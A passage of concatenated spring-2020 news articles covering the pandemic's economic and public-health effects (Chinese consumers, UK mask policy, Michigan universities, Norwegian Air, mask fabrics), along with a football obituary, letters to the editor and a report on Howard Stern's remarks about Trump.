instead of Waitrose's. Sophie Lund-Yates, equity analyst at Hargreaves Lansdown, said M&S is offering a 'welcome dose of foresight' by warning over an ongoing hit to trading. 'It would be a mistake to think the high street's going to see a sea of shoppers the second lockdown restrictions are lifted.' She added: 'We suspect we could see a longer-term shift to online grocery shopping once lockdowns start to lift, as more households will have become accustomed to the service - putting M&S in a good position.' Michael Robinson, who died today aged 61, once said to me: "Alfre, these chaps know something the rest of us don't know." He was talking about Cadiz in that famous season he joined Osasuna and ended up in the relegation group, along with the side from the south of Spain, who were bottom of the table all season but saved themselves in the play-off to sent Racing down. He was so fascinated by Cadiz president Irigoyen's trick that he decided he wanted to be 'Gaditano' (someone from Cadiz) and went in hunt for Cadiz blood in his veins, focusing on the theory, difficult to prove, that he was descended from a sailor from the Spanish Armada, shipwrecked on the west coast of Ireland, where his mother's family were from. He went so far as to invest in the club and became its technical director. But it wasn't just Cadiz that fascinated him, it was the whole of Spain, starting with Pamplona, where he had arrived somewhat preoccupied that he couldn't find the city of Osasuna on the map and was worried it was absolutely tiny. There he was thrilled by the Sanfermin fiestas, where the running of the bulls takes place, and decided to celebrate his goals with swish of the bullfighters cape. Later, in his trips all over Spain with Canal+, he never once found anywhere in the country where he didn't like the landscape, the culture, the food and the drink. His unique gaze captured it all. Once, crossing the vast empty spaces of Castilla, he said: "And with all this empty land you've got here, why would you want Gibraltar?" He was happy among us Spaniards, and made those of us who enjoyed his company happy too. Witty, intelligent, a natural communicator, with a sense of friendship and the spectacular that made him one of a kind. Here he made his home, with his family, delighted with his new country though he never put up with jokes about England. He didn't let a single one go. The only time I saw him sad was when his fellow citizens voted for Brexit. He felt betrayed. His illness, however, never got him down: "Look, this is going to kill me sooner or later, but it's not going to kill me while I'm alive." He never complained, and right to the end made everyone around him happy. Thank you Robin, thank you for everything. As state and county leaders prepare to re-open Texas Friday, Montgomery County health officials confirmed 32 more cases of COVID-19 Tuesday including two deaths. According to information from MCPHD, the deaths were a New Caney man in his 50s and a Conroe resident in his 60s. The new cases bring the countys total to 562 with 12 deaths. A statewide stay-at-home order is set to expire Thursday. The county now has 404 active cases with 42 people still hospitalized. There are 362 active cases with 146 recoveries. With the new numbers, 51.4 percent of the cases are men with most of the total cases being those in their 40s. Community spread continues to be the main source of exposure with 63.2 percent, with travel exposure at just 15.1 percent. The remaining 21.7 percent is still under investigation. Montgomery County commissioners took action to secure personal protection equipment as county office prepare to open and to ensure the availability of PPE for a potential second round of COVID-19 later this year. Montgomery County Office of Emergency Management and Homeland Security Executive Director Jason Millsaps requested $200,000 for the purchase of PPE to be funded through the $105 million CARES Act funding from the federal government. Millsaps added once the courthouse opens and dockets are running, there will be an increase in the need for the PPE. We are trying to buy up the supplies while we can while it is still available, he said. Details on individual cases can be found here: https://mcphd-tx.org/coronavirus-covid-19/confirmed-cases/. cdominguez@hcnonline.com BEIJINGAn unemployed young college graduate has stopped buying new sneakers. A clothing store clerk gave up his gym membership. An events planner, his pay cut by four-fifths, now moonlights as a takeout delivery driver and can no longer afford to eat out. China, the worlds second-largest economy and a key driver of the global growth engine, has a big problem with its spenders. Until it can be solved, the countrys growth and, by extension, the worlds will be difficult to rekindle. As the coronavirus outbreak ebbs in China, the countrys companies and officials have made big strides in restarting its economy. Its factories, brought to a standstill when the coronavirus outbreak swept through the country in January, are humming again, and even the air pollution is coming back. Empowering consumers could be the tougher task. Many lost their jobs or had their pay slashed. Still others were shaken by weeks of idleness and home confinement, a time when many had to depend on their savings to eat. For a generation of young Chinese people known for their American-style shopping sprees, saving and thrift hold a sudden new appeal. Chloe Cao, a Beijing translator of French stage dramas, once spent more than $200 (U.S.) a month in restaurants, $70 a month in coffee shops and as much as $170 for a tube of imported face cream. Now unemployed, she cooks for herself, brews her own coffee and buys $28 Chinese face cream. My spending power has suffered a cliff-like drop, Cao said. When I find a job, I will start saving money, and I cant live a wasteful life like before. Chinas consumer confidence problem offers potential lessons for the United States and Europe, which are only beginning to plan their recoveries. Even if companies reopen, the real challenge may lie in enabling or persuading stricken and traumatized consumers to start spending money again. By some measures, Chinas economy is getting back on track. By the end of February, most of its factories and mines had reopened, according to a variety of data, cranking out everything from steel to cellphones at a blistering pace through March. Industrial output rebounded to a near-record level. Other measures suggest the Chinese economy is still limping. Retail sales, which stayed strong during past crises, plummeted almost one-sixth in March from a year earlier. Satellite imagery shows that Chinese industrial areas emitted considerably less light this spring than they did a year ago, in a sign that fewer building sites may be floodlit for 24-hour construction and that fewer factories may be operating around the clock. Even the factory work that has resumed may not be dependable for long. Customers in the United States and Europe also are not buying Chinese-made goods like they once did. U.S. department stores, for example, have been cancelling and postponing orders. Chinas unemployment statistics which showed a 5.9 per cent urban unemployment rate in March are notoriously unreliable. Larry Hu, an economist at Macquarie Securities, an Australian investment bank, estimates that Chinas urban unemployment rate will nearly double this year. True unemployment may be as high as 20 per cent if migrant workers from rural areas are included, according to one estimate from Zhongtai Securities, a Chinese brokerage. Overall sales of furniture, clothing, household appliances and jewelry each plunged by a quarter to a third in March compared a year earlier. On the street and in malls, many stores have plenty of clerks and some window shoppers, but few actual buyers. Liang Tonghui, a 40-year-old from central Chinas Henan province, stood recently at a nearly deserted fruit stand in Beijing, trying to sell peaches and apples. Almost all the other migrants he knows are struggling to find work. He sells apples for 40 per cent off at the end of each day because he cannot find full-price buyers. If half the people are not coming to work, Liang said, what do you think is the number of people coming here? China needs to kick-start consumption because the old ways to juice its economy dont work like they once did. After running up huge debts to pay for new high-speed rail lines, highways and other infrastructure following the global financial crisis, China tried to depend more on its consumers. In an economy that registered nearly a half-century of continuous growth without recording a single recession, young people in particular became willing to borrow and spend almost like Americans. A number of economists have called on China to do more to help consumers. While the United States and other countries have unleashed major spending programs that include direct payments to households, China has largely refrained so far, in part because of debt concerns. Without shoppers, the retail industry one of the largest employers in China will continue to suffer. Peng Fei lost his part-time job at a clothing store in south-central China that closed during the pandemic. He has responded by halting trips to the gym and cut back on going drinking with friends. He has shelved plans to move out of his parents home. Before, Id spend as much as I had, he said. The shock of the virus and accompanying lockdowns have also prompted many to review their spending priorities. Harry Guo, a 22-year-old Shanghai bartender, said that he used to spend any extra money he had on vacations to other cities in China, but had been stunned by how many people had trouble affording even groceries during the pandemic. Now he does not worry about keeping up appearances when he goes out, seldom buying new sneakers or other indulgences. As long as the money is in your wallet, there is a strong sense of security, Guo said. It just has to lie there, you dont have to spend it, you feel comfortable just opening the wallet and seeing it. To qualify for extra loans from banks or rent waivers from landlords, businesses have typically been required to avoid layoffs. Many companies reduced hours and pay instead. Chen Ke works for a Shanghai sports-events planner and saw his pay drop by four-fifths last month as events were cancelled. He has started working part time as a food delivery driver and has given up restaurant meals in favour of instant noodles and pasta at home. He now makes coffee from instant powder instead of buying freshly brewed cups at his local convenience store. The salary used to be put into your bank account every day; it was just a number, Chen said. But delivering food for less than a dollar per trip, I really understand how hard it is to make money. The risk for China is that its consumers grow too cautious in their spending. The country has spent years enlarging its social safety net to extend health care and other services to more people so that they will spend their money instead of saving it for an emergency. As a 29-year-old who could always find work, Cao, the Beijing translator, never worried about where her next paycheque might come from. She accumulated a closet full of expensive handbags. Amid the epidemic, one day she pulled out all of her handbags, spread them on her bed and examined them with dissatisfaction. I spent so much money to buy handbags, she said to herself. How can these handbags help me now? It is still not clear whether the new consumer frugality in China will last beyond the broad availability of a vaccine and the resumption of normal life. But for now, many are saying that their attitudes have changed for good. What if I get a serious illness in the future; what if I lost my job again in the future? Cao said. I think that in the future, I must have a certain amount of money in my bank account to make me feel secure. Read more about: Britain is to stockpile face masks for commuters and shoppers to wear in public. The news comes after Scottish First Minster Nicola Sturgeon said face coverings should be used in enclosed spaces where social distancing is hard to maintain. Downing Street said the Government has not yet decided whether to follow suit in the rest of the UK after receiving evidence from the Sage scientific advisory group for emergencies last week. But Michael Gove revealed that a Treasury minister is leading a 'domestic effort' to ensure that enough face coverings are available should the Government change its guidance. Boris Johnson's spokesman gave a clear hint that it could do so by saying No 10 wanted to ensure that all four nations move in step on the issue. Pictured: A woman wearing a face mask walks on Brighton seafront, East Sussex, on April 19 Mr Gove was challenged by Labour MP Rachel Reeves on face mask supplies for the public in case the government recommends they should be worn in public. Mr Gove said any stockpiled masks would not be the 'high-spec surgical face masks' used in the NHS but ones that could be used in particular settings. He said: 'I can confirm Lord Agnew, the joint Cabinet Office and Treasury minister, has launched a domestic effort to ensure we produce just such masks and that is part of the broader effort that Lord Deighton is leading on ensuring we can bolster the production of personal protection equipment.' Chris Hopson, chief executive of NHS Providers, warned that a change in guidance on face masks could result in panic-buying however - as some Britons try to get their hands on the higher-spec masks. He said: 'There is bound to be a question in some people's minds about what form of face covering provides the greatest protection. 'The scientific evidence is clear - the fluid repellent surgical masks used by healthcare workers offer greater protection because of the significantly smaller pore sizes in the material they use. 'It therefore seems likely that some people will seek to purchase these masks.' First Minister Nicola Sturgeon (pictured) said face coverings should be used in enclosed spaces where social distancing is hard to maintain However, Health Secretary Matt Hancock told the daily Downing Street press conference yesterday that the evidence in favour of wearing face masks was 'weak'. He added: 'The UK Government's position has not changed, not least because the most important thing that people can do is social distancing as opposed to the weak science on face masks, so that is our absolute priority.' Ministers have been coming under growing pressure to provide clear guidance on the use of face masks amid hopes it could encourage the public to go back to work and help get the economy back on track. The Mail revealed earlier this month that ministers were considering the move. In her daily Covid-19 briefing yesterday, Miss Sturgeon said her government was now advising the limited use of face coverings made of cloth, including scarves, for everyone above the age of two. Pictured: A man, wearing a protective face mask, checks his mobile phone during a lockdown imposed to slow the rate of coronavirus in Paris Pictured: A young woman wears a protective mask as she waits for the tram in Brussels She added: 'We are recommending that you do wear a cloth face covering if you are in an enclosed space with others where social distancing is difficult, for example public transport or in a shop.' The use of the more general term 'coverings' differentiates them from medical-grade masks amid concerns greater public uptake could lead to a shortage for NHS staff. Miss Sturgeon did not make their use mandatory, conceding evidence over their use is 'still limited', but said there are benefits in wearing coverings to reduce transmission from individuals who are not yet exhibiting symptoms. The Prime Minister's official spokesman said ministers 'are considering the advice they have been given and once a decision has been reached then we will announce it publicly'. No 10 insisted Mr Johnson wanted to maintain a UK-wide response as far as possible. Pictured: A woman wears a face mask as she walks on Oxford Street, London amid the Covid-19 crisis Downing Street said the Government has not yet decided whether to follow suit in the rest of the UK after receiving evidence from the Sage scientific advisory group for emergencies last week Asked whether it was helpful for Miss Sturgeon to break ranks from the four-nation approach to the lockdown, the spokesman said: 'There have been points in the response so far where announcements have been made at ever so slightly different times. 'But by and large we have moved forward in a single four-nation approach. The devolved administrations have all said that they hope that continues to be the case and we would agree with that.' Dame Angela McLean, the UK's deputy chief scientific adviser, has said: 'The recommendation from Sage is completely clear that there is weak evidence of a small effect in which a face mask can prevent a source of infection. We passed that on to colleagues in Government with which to make a decision.' Mr Gove stressed the importance of easing any lockdown restrictions in 'as united a way as possible' across the UK. Challenged in the Commons on whether the UK had enough face masks for non-NHS workers, he stressed the difference between surgical masks and 'face coverings' but added that Lord Agnew, the joint Cabinet Office and Treasury minister, 'has launched a domestic effort to ensure that we produce just such masks'. National Library Week, an annual celebration held last week, highlighted the valuable role libraries, librarians and library workers play in transforming lives and strengthening our communities. Charleston County residents are fortunate to have such a robust and proactive library system. While only one week a year is set aside to celebrate libraries and librarians, we should be grateful every day for the work they do. While CCPL buildings are closed in the interest of community health and safety, they are open for business online, providing the virtual services and digital content at a time when we need them now more than ever. Expanded digital resources and virtual programming are available every day for free on the librarys website and social media. If you dont have internet access, CCPL is providing free public Wi-Fi outside of most library branches. Every day CCPL staff is working to provide story-time for children, resources for parents who are home-schooling, guidance for those seeking social services and more. At this time when some of us may be feeling disconnected, stressed or uncertain, the CCPL is rising to the challenge to meet the needs of our entire community in new and innovative ways. On behalf of the Charleston Friends of the Library board, thank you to all members of the CCPL staff for your spirit of service and your commitment to meeting the needs of our community. We cant wait to see you all again and express our gratitude in person. SUSAN HOFFIUS President, Charleston Friends of the Library Peachtree Street Charleston More testing needed Fighting COVID-19 requires widespread testing of those with symptoms of infection or probable exposure to the virus. Also needed is rapid follow-up with all contacts and testing of contacts. If indicated, tests should be repeated to minimize false negatives. Those with no indication of contagious infection could be allowed to resume normal activities. When COVID-19 cases do occur, the patients should be isolated as above. Coronavirus tests are finally becoming more available. Effective testing will require quickly mobilizing needed resources and removing all barriers, including confidentiality. This is a costly commitment but far cheaper than the massive loss of jobs and businesses caused by shutting down and widespread isolation. COVID-19 will be with us for a long time. With widespread testing we can find it, fight it and beat it. JOHN W. GRAY III, M.D. Laurens Street Beaufort HOA issues As a former resident of Snee Farm for 28 years, I can sympathize with Susannah Cahillane, whose story was highlighted in an April 11 Post and Courier article. I certainly had my run-ins with the HOA. Inconsistent and overbearing describe my experiences. However, I do understand the HOAs predicament, if not its approach. Really, a fine? All the HOA needed was anti-Pelosi or anti-Trump joke signs to start showing up, and it ruins Ms. Cahillanes good intentions. Im sorry, Ms. Cahillane. I wish this wasnt the reality of the situation. It shouldnt be, but people just cant help themselves. I loved the joke on the sign, and it brightened my day. MARCI MITCHELL Primus Road Mount Pleasant Serve others before self As many governors, including our own, debate and seek to gradually loosen restrictions, it is important for the news media and the public to inquire their motivations. With images of protests against stay-at-home orders in parts of the country, it is but another reminder of how so many people are being economically hurt, with more than 22 million out of work and many businesses on the brink of never coming back. It is important for our leaders to exercise extreme caution like Charleston Mayor John Tecklenburg is demonstrating. With most of life, there is always a risk. The question is, are we willing to take that risk? If New York City is any indication, with 18-wheelers being brought in to handle the dead and so many still getting sick, we must ask if we are putting our own interests ahead of the health of others and those on the front lines when we ask for restrictions to be eased. A key message in the Bible is to grow a heart that serves others before self. This is something we need to remind ourselves of daily and we hope our politicians think of every day with each decision they make. DAVID McCLURE North Pinebark Lane Charleston Colleges and universities in Michigan are losing millions of dollars in revenue because of the coronavirus pandemic. Large public universities and small private colleges alike are facing an uncertain future after campuses were forced to close -- shuttering residence halls, canceling events and sending thousands of students home to finish their school year remotely. At the University of Michigan, the resulting loss of revenue could add up to $1 billion, UM President Mark Schlissel said. In response to the crisis, some institutions are freezing tuition and other costs of attendance, which would prevent budget solutions that include tuition increases. Many are also preparing for the possibility of reduced state funding as tax revenue plummets and saving money using wage reductions, furloughs and hiring freezes. But there remain many unknowns as to how the pandemic will affect institutions of higher education. Officials dont know if distance learning will continue into the fall, whether students will postpone going to college if the public health threat doesnt subside or if a drastic drop in tax collections might mean a loss in much-needed state funding. There are a lot of variables at play, said Dan Hurley, CEO of the Michigan Association of State Universities. It cannot be expressed enough how unprecedented the current scenario is, Hurley said. There is absolutely no parallel in American higher education. The future is similarly unpredictable for Michigans private colleges weathering the pandemic, said Robert LeFevre, president of Michigan Independent Colleges and Universities. We dont know," LeFevre said, pointing to key questions that remain unanswered for school leaders. "Will there be a restriction on how large in-person classes can be? Will there be restrictions on how many students can occupy space in dorms or near-campus apartments? LeFevre asked. All of that is yet to be known. At Michigans largest universities, where enrollment has remained steady despite downward trends seen at many other schools, the impacts of the pandemic are still being felt in salary cuts to for top-paid employees and the elimination of non-essential spending. At the University of Michigan, officials are predicting the university could lose between $400 million and $1 billion because of the pandemic. President Mark Schlissel is taking a 10% cut to his salary, hiring and wages have been frozen and voluntary furlough and work hour reduction programs have been introduced for employees. Schlissel said on April 23 that he is hopeful students can return in the fall semester for what he called a public health informed semester. At Michigan State University, officials still dont know if, come fall, learning will continue from home or if students will be safe to return to the classroom, but MSU President Samuel L. Stanley said they are working on a plan to be prepared to be online again in the fall while also being prepared for students to return to campus. Theres just a lot of factors that go into that decision. Some of that, we dont control, MSU spokesperson Emily Gerkin Guerrant said. Will our state still have a shelter in place? What will the coronavirus numbers be in Michigan? University officials must plan for multiple scenarios. At Grand Valley State University, the school refunded $10.5 million to students for unused portions of fees paid for housing, dining and parking, said Mary Eileen Lyon, associate vice president of GVSU communications. The university is also estimating at least a $1.5 million loss in revenue from canceled events and additional costs incurred to shift to online instruction, Lyon said. The university is pulling from the contingency fund and institutional reserves to make up the difference, Lyon said. At Western Michigan University, President Edward Montgomery estimated the university lost more than $45 million due to the crisis this year thus far. They could lose another $45 to $85 million next fiscal year, Montgomery said. Across the state, Hurley said, universities are taking steps to rightsize expenditures to better match anticipated revenues. Collectively among the 15 public universities, the budgetary impact of the pandemic amounts to hundreds of millions of dollars, he said. While he couldnt predict a more specific financial impact, Hurley said his estimate is conservative. It will get worse the longer the pandemic keeps the economy frozen. To balance the budgets, universities are implementing hiring freezes or asking staff to use annual leave in lieu of working for their paycheck. From staff furloughs and hiring freezes to temporary and permanent layoffs, Hurley said every solution is on the table to right the ship that is the states institutions of higher education. Other variables in the conversation about the pandemics effects include students desires to go off to the college amid the public health threat as well as the families abilities to afford college for their students, Hurley said. Obtaining higher education remains important for people to advance in careers, he said. I would hope that at worst, this is a potential short-term delay as opposed to forgoing college altogether, Hurley said. Enrollment decline Prior to the pandemic, Michigan was already projecting a decline in higher education enrollment because of the decreasing number of high school students, Hurley said. Unrelated to the COVID-19 emergency, that forecast decline will continue for the next decade, Hurley said. For example, in the last 15 years, Western Michigan University lost nearly one-quarter of its overall student population and charted year-over-year decreases almost every year during the last decade. The same is true at Central Michigan University, where enrollment has dropped about 8,650 students in about a decade, and at Eastern Michigan University, which has lost more than 5,600 students in the same time period. Drops in student enrollment translate into the loss of millions of dollars in tuition revenue. Schools are also charting additional revenue losses from sources including room and board, parking and dining payments after campuses across Michigan closed. Despite the uncertainty around the pandemic, officials at Michigans two largest universities have optimistic projections for fall enrollment, though both are noting a decline in their international students. In East Lansing, MSU is currently about 14% above where it was last spring in terms of admissions, university spokesperson Emily Gerkin Guerrant said. They are also above last year for in-state and out-of-state domestic applicants, but international student applicants are down, Gerkin Guerrant said. MSU transitioned to online classes for the spring and summer semesters, and the university has not made a decision on what the fall semester might look like, Gerkin Guerrant said. MSU has planned for all possible options, she said: exclusively online and distance learning, returning to our old normal with in-person classes or a hybrid of those two options. Gerkin Guerrant did not respond for comment regarding long-term impacts. University of Michigan spokesperson Rick Fitzgerald said the university is on target to enroll its incoming freshman class as expected this fall. UM has increased total enrollment each fall semester since 2015. In fall 2019, UM enrolled 48,090 students, compared to 43,651 in fall 2015. New freshman enrollment increased from 6,695 in fall 2018 to 6,830 in fall 2019. However, UM is also experiencing expected declines in international students which account for about 15% of the student population on the Ann Arbor campus while in-state student enrollment continues to remain strong, Fitzgerald said. Current students are also enrolling in spring and summer courses at higher levels than in past years, Fitzgerald said. When asked about long-term steps to mitigate the loss, Fitzgerald referred MLive to Schlissels message and said the university did not have any additional steps to share. Tuition freezes The governing board at MSU, like others at schools including WMU and Central Michigan University, voted to not increase tuition and fees for the upcoming academic year. While this helps students more easily afford higher education, frozen tuition rates also limit one option university leaders have to increase revenue. Last year, some universities raised tuition by about 4%. Universities are making cuts to balance the budgets. At MSU, officials announced a series of budget reductions in response to the effects of the coronavirus outbreak, including temporary pay cuts for MSU executives, reducing travel expenditures and discretionary expenses and the consideration of delaying or modifying several construction projects. While the University of Michigan has not announced a tuition freeze, Schlissel announced hiring and salary freezes in anticipation of revenue losses between $400 million and $1 billion through the end of the 2020 calendar year. Schlissel said he and the chancellors of UM-Dearborn and UM-Flint will reduce their monthly salaries by 10% through the end of the year. Like MSU, UM is also eliminating non-essential spending and postponing construction projects, he said. At WMU, non-essential employees were forced to use their paid time off to continue being paid while out of work. When that annual leave dries up, employees were told to file for unemployment. This decision was met with criticism from faculty and alumni and staff concerned about their income and benefits such as health insurance. The university also implemented a hiring freeze and halted any capital projects not already underway, which university officials expect will save the university about $32 million. These steps are only the beginning of the actions needed to safeguard the university, according to a WMU spokesperson, and plans for the future are evolving and still being developed. Unfortunately, we cannot ignore our current challenges or wish away those headed in our direction, President Montgomery said in prepared remarks to WMUs Board of Trustees on April 23. The budget passed last year is a shredded piece of paper that does not reflect our current resources or situation, and there are more challenges ahead. WMU, like its peers, has tough decisions to make if it is to survive and serve students for the next 100 years. For Michigans private colleges, it is unlikely that MICU member schools will increase tuition, LeFevre said. But, if enrollment decreases much more than anticipated, theres potentially a lot of pain out there for smaller schools," he said. Private colleges take $40M hit Small institutions took big hits when they were forced to close their dorms this spring, LeFevre said. From the time the dorms closed until the end of the year, as well as dorm use for summer camps, LeFevre said, MICU members have collectively lost almost $40 million. Enrollment at Michigans private institutions over the last decade has been steady, he said. Since the Great Recession, enrollment dropped about 1% on average per year. Last year, the rate was flat, meaning there wasnt a decline like in previous years, but LeFevre doesnt know what will happen in the fall. Were above projections right now, so its tough to tell exactly what the impact will be this fall, LeFevre said. At Concordia University, officials expect enrollment for fall 2020 could change in the coming weeks and months as circumstances surrounding the pandemic evolve. Jesus Hernandez, director of enrollment at Concordia University-Ann Arbor, said the school has not experienced a dip in enrollment numbers and it is encouraged by a modest increase in its numbers for first-year students. But, he said those numbers may change in the coming weeks and months and the school is preparing for a potential loss of one-tenth of incoming freshmen. (CCUA) is doing its best to prepare for any number of possible scenarios, including the possible decrease in our enrollment numbers, Hernandez said. At this time, we could potentially see a 10% decrease in our incoming class of first-year students. Many families are relying on current economic factors and other guidelines issued by state and federal leaders, Hernandez said, and some have expressed concern regarding the overall costs of a college education. No matter the size of institution or its bank account, leaders across the state are doing what they can to plan for the future of higher education amid an unpredictable pandemic. Officials dont know what the status of the restrictions on social distancing and the governors orders to stay home will be come fall and how that might impact college courses. In the meantime, educators must focus on what they do best, GVSU Vice President of Enrollment Lynn Blue said. "We owe it to our students to find ways to keep them in school, Blue said. It isnt the time for our citizens to forego education. Also on MLive: Michigan set to lose billions in tax revenue as coronavirus hits state budgets nationwide Whitmer moves to further expand unemployment eligibility during coronavirus crisis Despite crashes, 820,000 of 1.1M Michiganders filing for unemployment have gotten paid Norwegian Air Shuttle, the low-cost carrier fighting to qualify for a bailout from its home country, presented a plan to relieve part of its heavy debt burden that would largely wipe out existing shareholders. The airline is racing against the clock to meet terms set by Norway to access the bulk of a three billion-krone (260m) package in loan guarantees. With most of its fleet grounded, the company has proposed a debt restructuring and capital increase by mid-May that would unlock the cash it needs to survive the coronavirus crisis. The plan would give aircraft leasing companies that are owed more than $3bn (2.75bn) including overdue payments more than half of the equity in the reconstructed airline. Bondholders would control the second largest chunk. To save cash, Norwegian would hunker down, grounding all but a handful of local flights until April 2021, when it would start to ramp up for the summer travel season. The resulting airline would be leaner and have much fewer aircraft. Norwegian is asking the holders of three bonds to convert about $350m into equity, while aircraft lessors would swap at least $500m of the 33.3 billion kroner they are owed. The proposal would leave existing owners of the stock with 5.2pc of the company. Bloomberg Howard Stern is under fire after saying supporters of President Trump should 'take disinfectant and all drop dead'. The shock jock, 66, made the remark during a broadcast of his Sirius XM radio show Monday, while discussing Trump's suggestion that the injection of disinfectants may prove useful in treating coronavirus. After Trump's remarks last week, doctors and disinfectant manufacturers were quick to warn that ingesting or injecting cleaning products could be deadly. The president later claimed he was being 'sarcastic' after being mocked over the remarks. Stern told co-host Robin Quivers: 'I would love it if Donald would get on TV and take an injection of Clorox and let's see if his theory works'. '[He could] hold a big rally, say f**k this coronavirus, with all of his followers, and let them hug each other and kiss each other and have a big rally,' he continued. Quivers then chimed in: 'A big cocktail of disinfectant!' 'Yeah, and all take disinfectant and all drop dead,' Stern then stated. Howard Stern is under fire after suggesting supporters of President Trump should 'take disinfectant and all drop dead' during a recording of his SiriusXM radio show Monday The comment quickly drew backlash from Twitter users, who accused the legendary radio star of being 'grotesque'. Later during his program Monday, Stern took a call from a listener who took issue with the shock jock's remark. 'Listen, I think we are in deep s**t. I think we could have been ahead of this curve,' Stern replied. 'I just can't take it. I don't know what is going on in our country!' He subsequently remarked: 'I don't recognize any of this as being Republican, I don't recognize it as being anything political. I see it as insanity. Stern defended his comments on his show Tuesday, saying he was surprised that they made news. 'How do you defend [Trump's] comments?' he asked. 'It just seems to me that if you're going to follow the president blindly with everything he said including something absurd like that and defend it then go ahead, be my guest, go kill yourself if you want.' Stern and Trump have known one another socially for decades. Trump and wife Melania are pictured with Stern and his wife Beth Ostrosky in 2005 Trump and Stern are pictured together back in the 1990s. Stern has previously spoken fondly of Trump but appears to have changed his view Last Thursday, Trump sparked outrage last Thursday after he proposed treating coronavirus patients by injecting them with disinfectant. Speaking at his daily White House Coronavirus Task Force briefing, the President stated: 'I see the disinfectant, where it knocks it out in a minute. One minute. And is there a way we can do something like that, by injection inside or almost a cleaning? Because you see it gets in the lungs, and it does a tremendous number on the lungs. So it would be interesting to check that.' The Commander-in-chief later stated that he was being 'sarcastic' when he made the comments. Stern and Trump have known one another socially for decades. Trump made a memorable appearance on Stern's show with his daughter, Ivanka, back in 2004, where he gave the shock jock permission to call his child 'a piece of a**'. Trump made a memorable appearance on Stern's show with his daughter, Ivanka, back in 2004, where he gave the shock jock permission to call his child 'a piece of a**' It seems Stern has drastically altered his mind about Trump since he took office. Back in 2016, he stated: 'I don't dislike Trump as a candidate, but I am absolutely enamored by Hillary. And I've told Donald that.' On Monday's program he endorsed Joe Biden for President, stating: ''I am all in on Joe Biden. You see the wall that's right next to you, I'll vote for the wall over a guy who tells me that I should pour Clorox into my mouth.' Filti face-mask material. YouTube/Filti One of the designers who discovered that blue shop towels were more effective at filtering tiny particles than a bandana worked with a particle-testing company to officially test 20 materials. They tested a variety of things people were using to create homemade masks, from paper towels to vacuum-cleaner bags. A material sold by an Oklahoma company called Filti wound up testing the best. Filti is advertising this material as being safe for masks. The company is not an official N95 mask maker, but its "nanofiber" material does block particles more effectively than many alternatives. Visit Business Insider's homepage for more stories. After the clothing designer Chloe Schempf and her friends discovered that certain blue shop towels were effective for homemade face masks, the president of a particle-testing equipment company offered to test a wide range of materials for her with the same machine used by N95 mask makers. They tested products as varied as coffee filters and vacuum-cleaner bags: 20 materials that people on the internet have been using to make masks at home while the worldwide shortage of N95 masks continues. Related Video: How to Treat Mild Coronavirus Symptoms From Home Their experiment found that the most effective material for blocking 0.3-micron particles was not, in fact, the blue shop towels, but a "nanofiber" material manufactured by a company in Oklahoma. A swatch of the fabric paired with cotton filtered 84% of particles, the test found. This compares with folded cotton bandanas, which filtered less than 10%. For context, a commercially built N95 mask filters at least 95% of particles, the president of the particle-testing company, Tom Kennedy of TSI, told Business Insider. Kennedy also said homemade masks could never reach N95 protection because professional mask construction involved precision manufacturing. Still, capturing 84% of tiny particles was noteworthy. The only other material that came close was a combination of cotton and 3M's Filtrete Furnace Filter, and 3M clearly warns consumers not to use the furnace filter in homemade masks. In fact, the makers of most of the alternative materials, including the blue shop towels, are warning consumers that their products are not intended for masks. Story continues In contrast, Filti is advertising its material as safe for homemade masks and is selling it to the public. "We designed this the Filti face-mask material so people can use it in a cotton mask or they can use it 100% by itself," Filti's founder, Andy McDowell, told Business Insider. This is notable because right now, there is a worldwide shortage of the typical material used in Centers for Disease Control and Prevention-approved N95 masks. There are only two dozen domestic manufacturers of this material, and some manufacturers say that even with increased production and factories working 24/7, they are sold out through 2020, CBS News reports. Authorities have said existing supplies should be reserved for healthcare workers. Neither Filti nor its parent company NXTNano is listed as a CDC-approved mask maker. So what is this Filti stuff? Schempf discovered the material because a wallet manufacturer that had pivoted to mask making was using it and had sent it to her, she told Business Insider. Made by NXTNano, the material is typically used in commercial filtering products. McDowell is also the sales director at NXTNano. He spun off a second company, Filti, before the COVID-19 pandemic to take the remnants from NXTNano's production and turn them into consumer products. He was originally thinking he could sell them to consumers for furnace filters and the like. But once the coronavirus crisis began, the folks at Filti turned 100% toward consumer mask-making efforts. It now takes NXTNano remnants, cuts them into smaller pieces, and makes one side softer to be more comfortable to wear against the face. NXTNano is also promoting its material as suitable for N95 masks. NXTNano says the fabric is made from a patented process that spins various types polymers into exceptionally long and thin strands. "The No. 1 pushback is that people say, 'nanofibers' and the word they will key on is 'nano' like 'nano particles,'" he said. They picture tiny individual fibers, but that's not right. A nanofiber is actually a very thin, long fiber that forms a continuous network, he says. Filti fibers are nanometers across but kilometers in length. "It's like a bowl of spaghetti but with only one noodle," McDowell said. McDowell told Business Insider the material was being used in some masks that meet N95 filtration standards, but he declined to say which mask makers were using it, citing nondisclosure agreements. Business Insider could not verify that this fabric has achieved any kind of formal approval to be used in masks; however, some researchers are generally studying the use of various forms of nanofibers in N95 masks, and scientists in South Korea have been experimenting with nanofiber mask making during the COVID-19 worldwide shortage. Other nanofiber equipment vendors are also advertising the material as suitable for masks, but they are not selling the finished fabric to the public. What is clear is that the particle testing done by TSI was conducted independently from Filti. Schempf simply gathered a bunch of materials she had heard about, including the Filti samples sent to her by the wallet company, and sent them to TSI. TSI tested them "blind," Kennedy said, meaning it didn't know which fabric was which. All of this means there's no objective evidence that Filti's fabric is safe to use for hospital-quality masks, as its makers claim, but there is evidence that it filters far better than a cotton bandana. Filti is selling its fabric from its website for $30 for 21 square feet, which the company estimates is enough to sew 50 to 80 masks, depending on their size. These masks cannot be washed, McDowell says. He says they can survive being in the oven for 30 minutes at 150 degrees, but there isn't solid research to show this is a safe and effective method to sterilize a mask, particularly if it has actually been exposed to COVID-19. The CDC advises that wearing a bandana outside is far better than wearing nothing, as this could keep a sick person from widely spreading their germs. A well-fitting mask with better filtering should protect someone better than a bandana, however, says TSI's Kennedy. And that's why home mask makers like Schempf have been on a mission to find materials that filter well, are breathable, and can be bought by the public, at least until the N95 mask shortage is over. Business Insider National Airlines Council of Canada urges the Federal Government to address airline sector challenges in wake of COVID-19 crisis -Strong airline industry critical to Canada's post-COVID-19 recovery plan OTTAWA, April 28, 2020 /CNW Telbec/ - As countries around the world grapple with the economic fallout from COVID-19, Canada's airline industry has supported Federal Government efforts to fight the pandemic, including operating repatriation flights for stranded Canadians, continuing to move products and people across the country and bringing critical personal protective equipment (PPE) to Canada. Yet the strength and role of the Canadian airline industry is now under significant threat as Canada risks falling behind other major industrialized countries in supporting their airline industries in this unprecedented crisis. The United States and countries across Europe, Asia and South America have moved 